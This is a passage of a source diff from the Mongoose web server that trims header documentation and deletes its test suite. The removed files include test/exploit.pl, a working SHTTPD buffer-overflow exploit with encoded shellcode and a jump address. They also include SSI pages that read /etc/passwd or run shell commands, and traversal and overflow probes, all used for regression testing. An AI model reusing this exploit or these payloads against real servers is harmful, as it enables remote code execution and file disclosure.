-  WEBSOCKET_OPCODE_CONNECTION_CLOSE = 0x8,
-  WEBSOCKET_OPCODE_PING = 0x9,
-  WEBSOCKET_OPCODE_PONG = 0xa
-};
 
-
-// Macros for enabling compiler-specific checks for printf-like arguments.
-#undef PRINTF_FORMAT_STRING
-#if defined(_MSC_VER) && _MSC_VER >= 1400
-#include <sal.h>
-#if defined(_MSC_VER) && _MSC_VER > 1400
-#define PRINTF_FORMAT_STRING(s) _Printf_format_string_ s
-#else
-#define PRINTF_FORMAT_STRING(s) __format_string s
-#endif
-#else
-#define PRINTF_FORMAT_STRING(s) s
-#endif
-
-#ifdef __GNUC__
-#define PRINTF_ARGS(x, y) __attribute__((format(printf, x, y)))
-#else
-#define PRINTF_ARGS(x, y)
-#endif
-
-// Send data to the client using printf() semantics.
-//
-// Works exactly like mg_write(), but allows to do message formatting.
-int mg_printf(struct mg_connection *,
-              PRINTF_FORMAT_STRING(const char *fmt), ...) PRINTF_ARGS(2, 3);
-
-
-// Send contents of the entire file together with HTTP headers.
-void mg_send_file(struct mg_connection *conn, const char *path);
-
-
-// Read data from the remote end, return number of bytes read.
-// Return:
-//   0     connection has been closed by peer. No more data could be read.
-//   < 0   read error. No more data could be read from the connection.
-//   > 0   number of bytes read into the buffer.
-int mg_read(struct mg_connection *, void *buf, size_t len);
-
-
-// Get the value of particular HTTP header.
-//
-// This is a helper function. It traverses request_info->http_headers array,
-// and if the header is present in the array, returns its value. If it is
-// not present, NULL is returned.
 const char *mg_get_header(const struct mg_connection *, const char *name);
+const char *mg_get_mime_type(const char *name, const char *default_mime_type);
+int mg_get_var(const struct mg_connection *conn, const char *var_name,
+               char *buf, size_t buf_len);
+int mg_parse_header(const char *hdr, const char *var_name, char *buf, size_t);
+int mg_parse_multipart(const char *buf, int buf_len,
+                       char *var_name, int var_name_len,
+                       char *file_name, int file_name_len,
+                       const char **data, int *data_len);
 
-
+// Utility functions
-// Get a value of particular form variable.
+void *mg_start_thread(void *(*func)(void *), void *param);
-//
-// Parameters:
-//   data: pointer to form-uri-encoded buffer. This could be either POST data,
-//         or request_info.query_string.
-//   data_len: length of the encoded data.
-//   var_name: variable name to decode from the buffer
-//   dst: destination buffer for the decoded variable
-//   dst_len: length of the destination buffer
-//
-// Return:
-//   On success, length of the decoded variable.
-//   On error:
-//      -1 (variable not found).
-//      -2 (destination buffer is NULL, zero length or too small to hold the
-//          decoded variable).
-//
-// Destination buffer is guaranteed to be '\0' - terminated if it is not
-// NULL or zero length.
-int mg_get_var(const char *data, size_t data_len,
-               const char *var_name, char *dst, size_t dst_len);
-
-// Fetch value of certain cookie variable into the destination buffer.
-//
-// Destination buffer is guaranteed to be '\0' - terminated. In case of
-// failure, dst[0] == '\0'. Note that RFC allows many occurrences of the same
-// parameter. This function returns only first occurrence.
-//
-// Return:
-//   On success, value length.
-//   On error:
-//      -1 (either "Cookie:" header is not present at all or the requested
-//          parameter is not found).
-//      -2 (destination buffer is NULL, zero length or too small to hold the
-//          value).
-int mg_get_cookie(const char *cookie, const char *var_name,
-                  char *buf, size_t buf_len);
-
-
-// Download data from the remote web server.
-//   host: host name to connect to, e.g. "foo.com", or "10.12.40.1".
-//   port: port number, e.g. 80.
-//   use_ssl: wether to use SSL connection.
-//   error_buffer, error_buffer_size: error message placeholder.
-//   request_fmt,...: HTTP request.
-// Return:
-//   On success, valid pointer to the new connection, suitable for mg_read().
-//   On error, NULL. error_buffer contains error message.
-// Example:
-//   char ebuf[100];
-//   struct mg_connection *conn;
-//   conn = mg_download("google.com", 80, 0, ebuf, sizeof(ebuf),
-//                      "%s", "GET / HTTP/1.0\r\nHost: google.com\r\n\r\n");
-struct mg_connection *mg_download(const char *host, int port, int use_ssl,
-                                  char *error_buffer, size_t error_buffer_size,
-                                  PRINTF_FORMAT_STRING(const char *request_fmt),
-                                  ...) PRINTF_ARGS(6, 7);
-
-
-// Close the connection opened by mg_download().
-void mg_close_connection(struct mg_connection *conn);
-
-
-// File upload functionality. Each uploaded file gets saved into a temporary
-// file and MG_UPLOAD event is sent.
-// Return number of uploaded files.
-int mg_upload(struct mg_connection *conn, const char *destination_dir);
-
-
-// Convenience function -- create detached thread.
-// Return: 0 on success, non-0 on error.
-typedef void * (*mg_thread_func_t)(void *);
-int mg_start_thread(mg_thread_func_t f, void *p);
-
-
-// Return builtin mime type for the given file name.
-// For unrecognized extensions, "text/plain" is returned.
-const char *mg_get_builtin_mime_type(const char *file_name);
-
-
-// Return Mongoose version.
-const char *mg_version(void);
-
-// URL-decode input buffer into destination buffer.
-// 0-terminate the destination buffer.
-// form-url-encoded data differs from URI encoding in a way that it
-// uses '+' as character for space, see RFC 1866 section 8.2.1
-// http://ftp.ics.uci.edu/pub/ietf/html/rfc1866.txt
-// Return: length of the decoded data, or -1 if dst buffer is too small.
-int mg_url_decode(const char *src, int src_len, char *dst,
-                  int dst_len, int is_form_url_encoded);
-
-// MD5 hash given strings.
-// Buffer 'buf' must be 33 bytes long. Varargs is a NULL terminated list of
-// ASCIIz strings. When function returns, buf will contain human-readable
-// MD5 hash. Example:
-//   char buf[33];
-//   mg_md5(buf, "aa", "bb", NULL);
 char *mg_md5(char buf[33], ...);
+int mg_authorize_digest(struct mg_connection *c, FILE *fp);
 
+// Lua utility functions
+#ifdef MONGOOSE_USE_LUA
+#include <lua.h>
+#include <lauxlib.h>
+void reg_string(lua_State *L, const char *name, const char *val);
+void reg_int(lua_State *L, const char *name, int val);
+void reg_function(lua_State *L, const char *,
+                         lua_CFunction, struct mg_connection *);
+#endif
 
 #ifdef __cplusplus
 }

test/.leading.dot.txt

@@ -1 +0,0 @@
-abc123

test/all_build_flags.pl

@@ -1,28 +0,0 @@
-#!/usr/bin/env perl
-
-@flags = ("NO_POPEN", "NO_SSL", "NDEBUG", "DEBUG", "NO_CGI");
-my $num_flags = @flags;
-
-sub fail {
-	print "FAILED: @_\n";
-	exit 1;
-}
-
-my $platform = $ARGV[0] || "linux";
-
-for (my $i = 0; $i < 2 ** $num_flags; $i++) {
-	my $bitmask = sprintf("%*.*b", $num_flags, $num_flags, $i);
-	my @combination = ();
-	for (my $j = 0; $j < $num_flags; $j++) {
-		push @combination, $flags[$j] if substr($bitmask, $j, 1);
-	}
-	my $defines = join(" ", map { "-D$_" } @combination);
-	my $cmd = "CFLAGS=\"$defines\" make clean $platform >/dev/null";
-	system($cmd) == 0 or fail "build failed: $_";
-	print "Build succeeded, flags: [$defines]\n";
-	system("perl test/test.pl basic_tests >/dev/null") == 0
-		or fail "basic tests";
-	print "Basic tests: OK\n";
-}
-
-print "PASS: All builds passed!\n";

test/bad.cgi

@@ -1,5 +0,0 @@
-#!/bin/sh
-
-echo "echoing bad headers: server must report status 500"
-exec 1>&2
-echo shit!!!

test/bad2.cgi

@@ -1,3 +0,0 @@
-#!/usr/bin/env perl
-
-print "Status: 123 Please pass me to the client\r\n\r\n";

test/dir with spaces/hello.cgi

@@ -1,3 +0,0 @@
-#!/usr/bin/env perl
-
-print "Content-Type: text/plain\n\nhello\n";

test/embed.c

@@ -1,182 +0,0 @@
-// Copyright (c) 2004-2009 Sergey Lyubka
-//
-// Permission is hereby granted, free of charge, to any person obtaining a copy
-// of this software and associated documentation files (the "Software"), to deal
-// in the Software without restriction, including without limitation the rights
-// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-// copies of the Software, and to permit persons to whom the Software is
-// furnished to do so, subject to the following conditions:
-//
-// The above copyright notice and this permission notice shall be included in
-// all copies or substantial portions of the Software.
-//
-// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-// THE SOFTWARE.
-//
-// Unit test for the mongoose web server. Tests embedded API.
-
-
-#include <stdlib.h>
-#include <stdio.h>
-#include <string.h>
-#ifndef _WIN32
-#include <unistd.h>
-#endif
-
-#include "mongoose.h"
-
-#if !defined(LISTENING_PORT)
-#define LISTENING_PORT "23456"
-#endif
-
-static const char *standard_reply = "HTTP/1.1 200 OK\r\n"
-  "Content-Type: text/plain\r\n"
-  "Connection: close\r\n\r\n";
-
-static void test_get_var(struct mg_connection *conn,
-                         const struct mg_request_info *ri) {
-  char *var, *buf;
-  size_t buf_len;
-  const char *cl;
-  int var_len;
-
-  mg_printf(conn, "%s", standard_reply);
-
-  buf_len = 0;
-  var = buf = NULL;
-  cl = mg_get_header(conn, "Content-Length");
-  mg_printf(conn, "cl: %p\n", cl);
-  if ((!strcmp(ri->request_method, "POST") ||
-       !strcmp(ri->request_method, "PUT"))
-      && cl != NULL) {
-    buf_len = atoi(cl);
-    buf = malloc(buf_len);
-    /* Read in two pieces, to test continuation */
-    if (buf_len > 2) {
-      mg_read(conn, buf, 2);
-      mg_read(conn, buf + 2, buf_len - 2);
-    } else {
-      mg_read(conn, buf, buf_len);
-    }
-  } else if (ri->query_string != NULL) {
-    buf_len = strlen(ri->query_string);
-    buf = malloc(buf_len + 1);
-    strcpy(buf, ri->query_string);
-  }
-  var = malloc(buf_len + 1);
-  var_len = mg_get_var(buf, buf_len, "my_var", var, buf_len + 1);
-  mg_printf(conn, "Value: [%s]\n", var);
-  mg_printf(conn, "Value size: [%d]\n", var_len);
-  free(buf);
-  free(var);
-}
-
-static void test_get_header(struct mg_connection *conn,
-                            const struct mg_request_info *ri) {
-  const char *value;
-  int i;
-
-  mg_printf(conn, "%s", standard_reply);
-  printf("HTTP headers: %d\n", ri->num_headers);
-  for (i = 0; i < ri->num_headers; i++) {
-    printf("[%s]: [%s]\n", ri->http_headers[i].name, ri->http_headers[i].value);
-  }
-
-  value = mg_get_header(conn, "Host");
-  if (value != NULL) {
-    mg_printf(conn, "Value: [%s]", value);
-  }
-}
-
-static void test_get_request_info(struct mg_connection *conn,
-                                  const struct mg_request_info *ri) {
-  int i;
-
-  mg_printf(conn, "%s", standard_reply);
-
-  mg_printf(conn, "Method: [%s]\n", ri->request_method);
-  mg_printf(conn, "URI: [%s]\n", ri->uri);
-  mg_printf(conn, "HTTP version: [%s]\n", ri->http_version);
-
-  for (i = 0; i < ri->num_headers; i++) {
-    mg_printf(conn, "HTTP header [%s]: [%s]\n",
-              ri->http_headers[i].name,
-              ri->http_headers[i].value);
-  }
-
-  mg_printf(conn, "Query string: [%s]\n",
-            ri->query_string ? ri->query_string: "");
-  mg_printf(conn, "Remote IP: [%lu]\n", ri->remote_ip);
-  mg_printf(conn, "Remote port: [%d]\n", ri->remote_port);
-  mg_printf(conn, "Remote user: [%s]\n",
-            ri->remote_user ? ri->remote_user : "");
-}
-
-static void test_error(struct mg_connection *conn,
-                       const struct mg_request_info *ri) {
-  int status = (int) ri->ev_data;
-  mg_printf(conn, "HTTP/1.1 %d XX\r\n"
-            "Conntection: close\r\n\r\n", status);
-  mg_printf(conn, "Error: [%d]", status);
-}
-
-static void test_post(struct mg_connection *conn,
-                      const struct mg_request_info *ri) {
-  const char *cl;
-  char *buf;
-  int len;
-
-  mg_printf(conn, "%s", standard_reply);
-  if (strcmp(ri->request_method, "POST") == 0 &&
-      (cl = mg_get_header(conn, "Content-Length")) != NULL) {
-    len = atoi(cl);
-    if ((buf = malloc(len)) != NULL) {
-      mg_write(conn, buf, len);
-      free(buf);
-    }
-  }
-}
-
-static const struct test_config {
-  enum mg_event event;
-  const char *uri;
-  void (*func)(struct mg_connection *, const struct mg_request_info *);
-} test_config[] = {
-  {MG_NEW_REQUEST, "/test_get_header", &test_get_header},
-  {MG_NEW_REQUEST, "/test_get_var", &test_get_var},
-  {MG_NEW_REQUEST, "/test_get_request_info", &test_get_request_info},
-  {MG_NEW_REQUEST, "/test_post", &test_post},
-  {MG_HTTP_ERROR, "", &test_error},
-  {0, NULL, NULL}
-};
-
-static void *callback(enum mg_event event,
-                      struct mg_connection *conn) {
-  const struct mg_request_info *request_info = mg_get_request_info(conn);
-  int i;
-
-  for (i = 0; test_config[i].uri != NULL; i++) {
-    if (event == test_config[i].event &&
-        (event == MG_HTTP_ERROR ||
-         !strcmp(request_info->uri, test_config[i].uri))) {
-      test_config[i].func(conn, request_info);
-      return "processed";
-    }
-  }
-
-  return NULL;
-}
-
-int main(void) {
-  struct mg_context *ctx;
-  const char *options[] = {"listening_ports", LISTENING_PORT, NULL};
-
-  ctx = mg_start(callback, NULL, options);
-  pause();
-  return 0;
-}

test/env.cgi

@@ -1,46 +0,0 @@
-#!/usr/bin/env perl
-
-use Cwd;
-use CGI;
-
-use vars '%in';
-CGI::ReadParse();
-
-print "Content-Type: text/html\r\n\r\n";
-
-print "<pre>\n";
-foreach my $key (sort keys %ENV) {
-	print "$key=$ENV{$key}\n";
-}
-
-print "\n";
-
-foreach my $key (sort keys %in) {
-	print "$key=$in{$key}\n";
-}
-
-print "\n";
-
-print 'CURRENT_DIR=' . getcwd() . "\n";
-print "</pre>\n";
-
-my $stuff = <<EOP ;
-<script language="javascript">
-	function set_val() {
-	}
-</script>
-<form method=get>
-	<input type=hidden name=a>
-	<input type=text name=_a onChange="javascript: this.form.a.value=this.value;">
-	<input type=submit value=get>
-</form>
-
-<form method=post>
-	<input type=text name=b>
-	<input type=submit value=post>
-</form>
-EOP
-
-#system('some shit');
-
-print $stuff;

test/exploit.pl

@@ -1,69 +0,0 @@
-#!/usr/bin/perl -w
-
-#  SHTTPD Buffer Overflow (POST)
-#  Tested on SHTTPD 1.34 WinXP SP1 Hebrew
-#  http://shttpd.sourceforge.net
-#  Codded By SkOd, 05/10/2006
-#  ISRAEL
-#
-#    details:
-#    EAX 00000194 , ECX 009EBCA8 , EDX 00BC488C
-#    EBX 00000004 , EIP 41414141 , EBP 41414141
-#    ESI 00BC4358 , EDI 00BCC3CC ASCII "POST"
-#    ESP 009EFC08 ASCII 41,"AA...AAA"
-
-
-use IO::Socket;
-
-sub fail(){
-syswrite STDOUT, "[-]Connect failed.\n";
-exit;
-}
-
-sub header()
-{
-print("##################################\n");
-print("SHTTPD (POST) Buffer Overflow.\n");
-print("[http://shttpd.sourceforge.net]\n");
-print("Codded By SkOd, 05/10/2006\n");
-print("##################################\n");
-}
-
-if (@ARGV < 1)
-{
-    &header();
-    print("Usage: Perl shttpd.pl [host]\n");
-    exit;
-}
-
-&header();
-$host=$ARGV[0];
-$port="80";
-$host=~ s/(http:\/\/)//eg;
-
-#win32_exec- CMD=calc Size=160 (metasploit.com)
-$shell =
-"%33%c9%83%e9%de%d9%ee%d9%74%24%f4%5b%81%73%13%52".
-"%ca%2b%e0%83%eb%fc%e2%f4%ae%22%6f%e0%52%ca%a0%a5".
-"%6e%41%57%e5%2a%cb%c4%6b%1d%d2%a0%bf%72%cb%c0%a9".
-"%d9%fe%a0%e1%bc%fb%eb%79%fe%4e%eb%94%55%0b%e1%ed".
-"%53%08%c0%14%69%9e%0f%e4%27%2f%a0%bf%76%cb%c0%86".
-"%d9%c6%60%6b%0d%d6%2a%0b%d9%d6%a0%e1%b9%43%77%c4".
-"%56%09%1a%20%36%41%6b%d0%d7%0a%53%ec%d9%8a%27%6b".
-"%22%d6%86%6b%3a%c2%c0%e9%d9%4a%9b%e0%52%ca%a0%88".
-"%0d%a2%b3%1e%d8%c4%7c%1f%b5%a9%4a%8c%31%ca%2b%e0";
-
-
-$esp="%73%C3%2A%4F";                 #[4F2AC373]JMP ESP (kernel32.dll) WinXP SP1(Hebrew)
-$buff=("%41"x8).$esp.("%90"x85).$shell;        #Shellcode+NOP=245
-
-print length($buff) . "\n";
-
-$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || &fail();
-    syswrite STDOUT,"[+]Connected.\n";
-    print $sock "POST /$buff HTTP/1.1\n";
-    print $sock "HOST:$host\n\n";
-    syswrite STDOUT,"[+]Done.\n";
-close($sock);
-
-# milw0rm.com [2006-10-05]

test/hello.cgi

@@ -1,6 +0,0 @@
-#!/bin/sh
-
-echo "Content-Type: text/plain"
-echo
-
-echo $QUERY_STRING

test/hello.txt

@@ -1 +0,0 @@
-simple text file

test/page.lp

@@ -1,57 +0,0 @@
-HTTP/1.0 200 OK
-Content-Type: text/html
-
-<html><body>
-
-
-<p>This is an example Lua server page served by
-<a href="http://code.google.com/p/mongoose">Mongoose web server</a>.
-Mongoose has Lua, Sqlite, and other functionality built in the binary.
-This example page stores the request in the Sqlite database, and shows
-all requests done previously.</p>
-<p> Today is <? mg.write(os.date("%A")) ?>
-
-<pre>
-<?
-  -- for k,v in pairs(_G) do mg.write(k, '\n') end
-
-  -- Open database
-  local db = sqlite3.open('requests.db')
-
-  -- Setup a trace callback, to show SQL statements we'll be executing.
-  -- db:trace(function(data, sql) mg.write('Executing: ', sql: '\n') end, nil)
-
-  -- Create a table if it is not created already
-  db:exec([[
-    CREATE TABLE IF NOT EXISTS requests (
-      id INTEGER PRIMARY KEY AUTOINCREMENT,
-      timestamp NOT NULL,
-      method NOT NULL,
-      uri NOT NULL,
-      addr
-    );
-  ]])
-
-
-  -- Add entry about this request
-  local stmt = db:prepare(
-    'INSERT INTO requests VALUES(NULL, datetime("now"), ?, ?, ?);');
-  stmt:bind_values(mg.request_info.request_method,
-                   mg.request_info.uri,
-                   mg.request_info.remote_port)
-  stmt:step()
-  stmt:finalize()
-
-  -- Show all previous records
-  mg.write('Previous requests:\n')
-  stmt = db:prepare('SELECT * FROM requests ORDER BY id DESC;')
-  while stmt:step() == sqlite3.ROW do
-    local v = stmt:get_values()
-    mg.write(v[1] .. ' ' .. v[2] .. ' ' .. v[3] .. ' '
-          .. v[4] .. ' ' .. v[5] .. '\n')
-  end
-
-  -- Close database
-  db:close()
-?>
-</pre></body></html>

test/passfile

@@ -1,3 +0,0 @@
-guest:mydomain.com:485264dcc977a1925370b89d516a1477
-Administrator:mydomain.com:e32daa3028eba04dc53e2d781e6fc983
-

test/sh.cgi

@@ -1,6 +0,0 @@
-#!/bin/sh
-
-echo "Content-Type: text/plain"
-echo
-
-echo "This is shell script CGI."

test/ssi1.shtml

@@ -1,5 +0,0 @@
-<html><pre>
-ssi_begin
-<!--#include file="../build/Makefile" -->
-ssi_end
-</pre></html>

test/ssi2.shtml

@@ -1,5 +0,0 @@
-<html><pre>
-ssi_begin
-<!--#include virtual="embed.c" -->
-ssi_end
-</pre></html>

test/ssi3.shtml

@@ -1,5 +0,0 @@
-<html><pre>
-ssi_begin
-<!--#exec "ls -l" -->
-ssi_end
-</pre></html>

test/ssi4.shtml

@@ -1,5 +0,0 @@
-<html><pre>
-ssi_begin
-<!--#exec "dir /w" -->
-ssi_end
-</pre></html>

test/ssi5.shtml

@@ -1,5 +0,0 @@
-<html><pre>
-ssi_begin
-<!--#include abspath="/etc/passwd" -->
-ssi_end
-</pre></html>

test/ssi6.shtml

@@ -1,5 +0,0 @@
-<html><pre>
-ssi_begin
-<!--#include abspath="c:\boot.ini" -->
-ssi_end
-</pre></html>

test/ssi7.shtml

@@ -1,6 +0,0 @@
-
-<html><pre>
-ssi_begin
-<!--#include "unit_test.c" -->
-ssi_end
-</pre></html>

test/ssi8.shtml

@@ -1 +0,0 @@
-<!--#include "ssi9.shtml" -->

test/ssi9.shtml

@@ -1,3 +0,0 @@
-ssi_begin
-<!--#include file="../build/Makefile" -->
-ssi_end

test/test.pl

@@ -1,467 +0,0 @@
-#!/usr/bin/env perl
-# This script is used to test Mongoose web server
-# $Id: test.pl 516 2010-05-03 12:54:37Z valenok $
-
-use IO::Socket;
-use File::Path;
-use File::Basename;
-use Cwd;
-use strict;
-use warnings;
-#use diagnostics;
-
-sub on_windows { $^O =~ /win32/i; }
-
-my $port = 23456;
-my $pid = undef;
-my $num_requests;
-my $dir_separator = on_windows() ? '\\' : '/';
-my $copy_cmd = on_windows() ? 'copy' : 'cp';
-my $test_dir_uri = "test_dir";
-my $root = '../test';
-my $abs_root = Cwd::abs_path(dirname($0) . $dir_separator . $root);
-my $test_dir = $abs_root . $dir_separator. $test_dir_uri;
-#print "$test_dir\n"; exit 0;
-my $config = 'mongoose.conf';
-my $exe_ext = on_windows() ? '.exe' : '';
-my $mongoose_exe = '.' . $dir_separator . 'mongoose' . $exe_ext;
-my $embed_exe = '.' . $dir_separator . 'embed' . $exe_ext;
-my $unit_test_exe = '.' . $dir_separator . 'unit_test' . $exe_ext;
-my $exit_code = 0;
-
-my @files_to_delete = ('debug.log', 'access.log', $config, "$root/a/put.txt",
-  "$root/a+.txt", "$root/.htpasswd", "$root/binary_file", "$root/a",
-  "$root/myperl", $embed_exe, $unit_test_exe);
-
-END {
-  unlink @files_to_delete;
-  kill_spawned_child();
-  File::Path::rmtree($test_dir);
-  exit $exit_code;
-}
-
-sub fail {
-  print "FAILED: @_\n";
-  $exit_code = 1;
-  exit 1;
-}
-
-sub get_num_of_log_entries {
-  open FD, "access.log" or return 0;
-  my @lines = (<FD>);
-  close FD;
-  return scalar @lines;
-}
-
-# Send the request to the 127.0.0.1:$port and return the reply
-sub req {
-  my ($request, $inc, $timeout) = @_;
-  my $sock = IO::Socket::INET->new(Proto => 6,
-    PeerAddr => '127.0.0.1', PeerPort => $port);
-  fail("Cannot connect to http://127.0.0.1:$port : $!") unless $sock;
-  $sock->autoflush(1);
-  foreach my $byte (split //, $request) {
-    last unless print $sock $byte;
-    select undef, undef, undef, .001 if length($request) < 256;
-  }
-  my ($out, $buf) = ('', '');
-  eval {
-    alarm $timeout if $timeout;
-    $out .= $buf while (sysread($sock, $buf, 1024) > 0);
-    alarm 0 if $timeout;
-  };
-  close $sock;
-
-  $num_requests += defined($inc) ? $inc : 1;
-  my $num_logs = get_num_of_log_entries();
-
-  unless ($num_requests == $num_logs) {
-    fail("Request has not been logged: [$request], output: [$out]");
-  }
-
-  return $out;
-}
-
-# Send the request. Compare with the expected reply. Fail if no match
-sub o {
-  my ($request, $expected_reply, $message, $num_logs) = @_;
-  print "==> $message ... ";
-  my $reply = req($request, $num_logs);
-  if ($reply =~ /$expected_reply/s) {
-    print "OK\n";
-  } else {
-#fail("Requested: [$request]\nExpected: [$expected_reply], got: [$reply]");
-    fail("Expected: [$expected_reply], got: [$reply]");
-  }
-}
-
-# Spawn a server listening on specified port
-sub spawn {
-  my ($cmdline) = @_;
-  print 'Executing: ', @_, "\n";
-  if (on_windows()) {
-    my @args = split /\s+/, $cmdline;
-    my $executable = $args[0];
-    Win32::Spawn($executable, $cmdline, $pid);
-    die "Cannot spawn @_: $!" unless $pid;
-  } else {
-    unless ($pid = fork()) {
-      exec $cmdline;
-      die "cannot exec [$cmdline]: $!\n";
-    }
-  }
-  sleep 1;
-}
-
-sub write_file {
-  open FD, ">$_[0]" or fail "Cannot open $_[0]: $!";
-  binmode FD;
-  print FD $_[1];
-  close FD;
-}
-
-sub read_file {
-  open FD, $_[0] or fail "Cannot open $_[0]: $!";
-  my @lines = <FD>;
-  close FD;
-  return join '', @lines;
-}
-
-sub kill_spawned_child {
-  if (defined($pid)) {
-    kill(9, $pid);
-    waitpid($pid, 0);
-  }
-}
-
-####################################################### ENTRY POINT
-
-unlink @files_to_delete;
-$SIG{PIPE} = 'IGNORE';
-$SIG{ALRM} = sub { die "timeout\n" };
-#local $| =1;
-
-# Make sure we export only symbols that start with "mg_", and keep local
-# symbols static.
-if ($^O =~ /darwin|bsd|linux/) {
-  my $out = `(cc -c mongoose.c && nm mongoose.o) | grep ' T '`;
-  foreach (split /\n/, $out) {
-    /T\s+_?mg_.+/ or fail("Exported symbol $_")
-  }
-}
-
-if (scalar(@ARGV) > 0 and $ARGV[0] eq 'unit') {
-  do_unit_test();
-  exit 0;
-}
-
-# Make sure we load config file if no options are given.
-# Command line options override config files settings
-write_file($config, "access_log_file access.log\n" .
-           "document_root $root\n" .
-           "listening_ports 127.0.0.1:12345\n");
-spawn("$mongoose_exe -listening_ports 127.0.0.1:$port");
-o("GET /hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'Loading config file');
-unlink $config;
-kill_spawned_child();
-
-# Spawn the server on port $port
-my $cmd = "$mongoose_exe ".
-  "-listening_ports 127.0.0.1:$port ".
-  "-access_log_file access.log ".
-  "-error_log_file debug.log ".
-  "-cgi_environment CGI_FOO=foo,CGI_BAR=bar,CGI_BAZ=baz " .
-  "-extra_mime_types .bar=foo/bar,.tar.gz=blah,.baz=foo " .
-  "-put_delete_auth_file $abs_root/passfile " .
-  '-access_control_list -0.0.0.0/0,+127.0.0.1 ' .
-  "-document_root $root ".
-  "-hide_files_patterns **exploit.PL ".
-  "-enable_keep_alive yes ".
-  "-url_rewrite_patterns /aiased=/etc/,/ta=$test_dir";
-$cmd .= ' -cgi_interpreter perl' if on_windows();
-spawn($cmd);
-
-o("GET /hello.txt HTTP/1.1\nConnection: close\nRange: bytes=3-50\r\n\r\n",
-  'Content-Length: 15\s', 'Range past the file end');
-
-o("GET /hello.txt HTTP/1.1\n\n   GET /hello.txt HTTP/1.0\n\n",
-  'HTTP/1.1 200.+keep-alive.+HTTP/1.1 200.+close',
-  'Request pipelining', 2);
-
-my $x = 'x=' . 'A' x (200 * 1024);
-my $len = length($x);
-o("POST /env.cgi HTTP/1.0\r\nContent-Length: $len\r\n\r\n$x",
-  '^HTTP/1.1 200 OK', 'Long POST');
-
-# Try to overflow: Send very long request
-req('POST ' . '/..' x 100 . 'ABCD' x 3000 . "\n\n", 0); # don't log this one
-
-o("GET /hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'GET regular file');
-o("GET /hello.txt HTTP/1.0\nContent-Length: -2147483648\n\n",
-  'HTTP/1.1 200 OK', 'Negative content length');
-o("GET /hello.txt HTTP/1.0\n\n", 'Content-Length: 17\s',
-  'GET regular file Content-Length');
-o("GET /%68%65%6c%6c%6f%2e%74%78%74 HTTP/1.0\n\n",
-  'HTTP/1.1 200 OK', 'URL-decoding');
-
-# Break CGI reading after 1 second. We must get full output.
-# Since CGI script does sleep, we sleep as well and increase request count
-# manually.
-my $slow_cgi_reply;
-print "==> Slow CGI output ... ";
-fail('Slow CGI output forward reply=', $slow_cgi_reply) unless
-  ($slow_cgi_reply = req("GET /timeout.cgi HTTP/1.0\r\n\r\n", 0, 1)) =~ /Some data/s;
-print "OK\n";
-sleep 3;
-$num_requests++;
-
-# '+' in URI must not be URL-decoded to space
-write_file("$root/a+.txt", '');
-o("GET /a+.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'URL-decoding, + in URI');
-
-# Test HTTP version parsing
-o("GET / HTTPX/1.0\r\n\r\n", '^HTTP/1.1 500', 'Bad HTTP Version', 0);
-o("GET / HTTP/x.1\r\n\r\n", '^HTTP/1.1 505', 'Bad HTTP maj Version', 0);
-o("GET / HTTP/1.1z\r\n\r\n", '^HTTP/1.1 505', 'Bad HTTP min Version', 0);
-o("GET / HTTP/02.0\r\n\r\n", '^HTTP/1.1 505', 'HTTP Version >1.1', 0);
-
-# File with leading single dot
-o("GET /.leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 1');
-o("GET /...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 2');
-o("GET /../\\\\/.//...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 3')
-  if on_windows();
-o("GET .. HTTP/1.0\n\n", '400 Bad Request', 'Leading dot 4', 0);
-
-mkdir $test_dir unless -d $test_dir;
-o("GET /$test_dir_uri/not_exist HTTP/1.0\n\n",
-  'HTTP/1.1 404', 'PATH_INFO loop problem');
-o("GET /$test_dir_uri HTTP/1.0\n\n", 'HTTP/1.1 301', 'Directory redirection');
-o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'Modified', 'Directory listing');
-write_file("$test_dir/index.html", "tralala");
-o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'tralala', 'Index substitution');
-o("GET / HTTP/1.0\n\n", 'embed.c', 'Directory listing - file name');
-o("GET /ta/ HTTP/1.0\n\n", 'Modified', 'Aliases');
-o("GET /not-exist HTTP/1.0\r\n\n", 'HTTP/1.1 404', 'Not existent file');
-mkdir $test_dir . $dir_separator . 'x';
-my $path = $test_dir . $dir_separator . 'x' . $dir_separator . 'index.cgi';
-write_file($path, read_file($root . $dir_separator . 'env.cgi'));
-chmod(0755, $path);
-o("GET /$test_dir_uri/x/ HTTP/1.0\n\n", "Content-Type: text/html\r\n\r\n",
-  'index.cgi execution');
-
-o("GET /$test_dir_uri/x/ HTTP/1.0\n\n",
-  "SCRIPT_FILENAME=$test_dir/x/index.cgi", 'SCRIPT_FILENAME');
-o("GET /ta/x/ HTTP/1.0\n\n", "SCRIPT_NAME=/ta/x/index.cgi",
-  'Aliases SCRIPT_NAME');
-o("GET /hello.txt HTTP/1.1\nConnection: close\n\n", 'Connection: close',
-  'No keep-alive');
-
-$path = $test_dir . $dir_separator . 'x' . $dir_separator . 'a.cgi';
-system("ln -s `which perl` $root/myperl") == 0 or fail("Can't symlink perl");
-write_file($path, "#!../../myperl\n" .
-           "print \"Content-Type: text/plain\\n\\nhi\";");
-chmod(0755, $path);
-o("GET /$test_dir_uri/x/a.cgi HTTP/1.0\n\n", "hi", 'Relative CGI interp path');
-o("GET * HTTP/1.0\n\n", "^HTTP/1.1 404", '* URI');
-
-my $mime_types = {
-  html => 'text/html',
-  htm => 'text/html',
-  txt => 'text/plain',
-  unknown_extension => 'text/plain',
-  js => 'application/x-javascript',
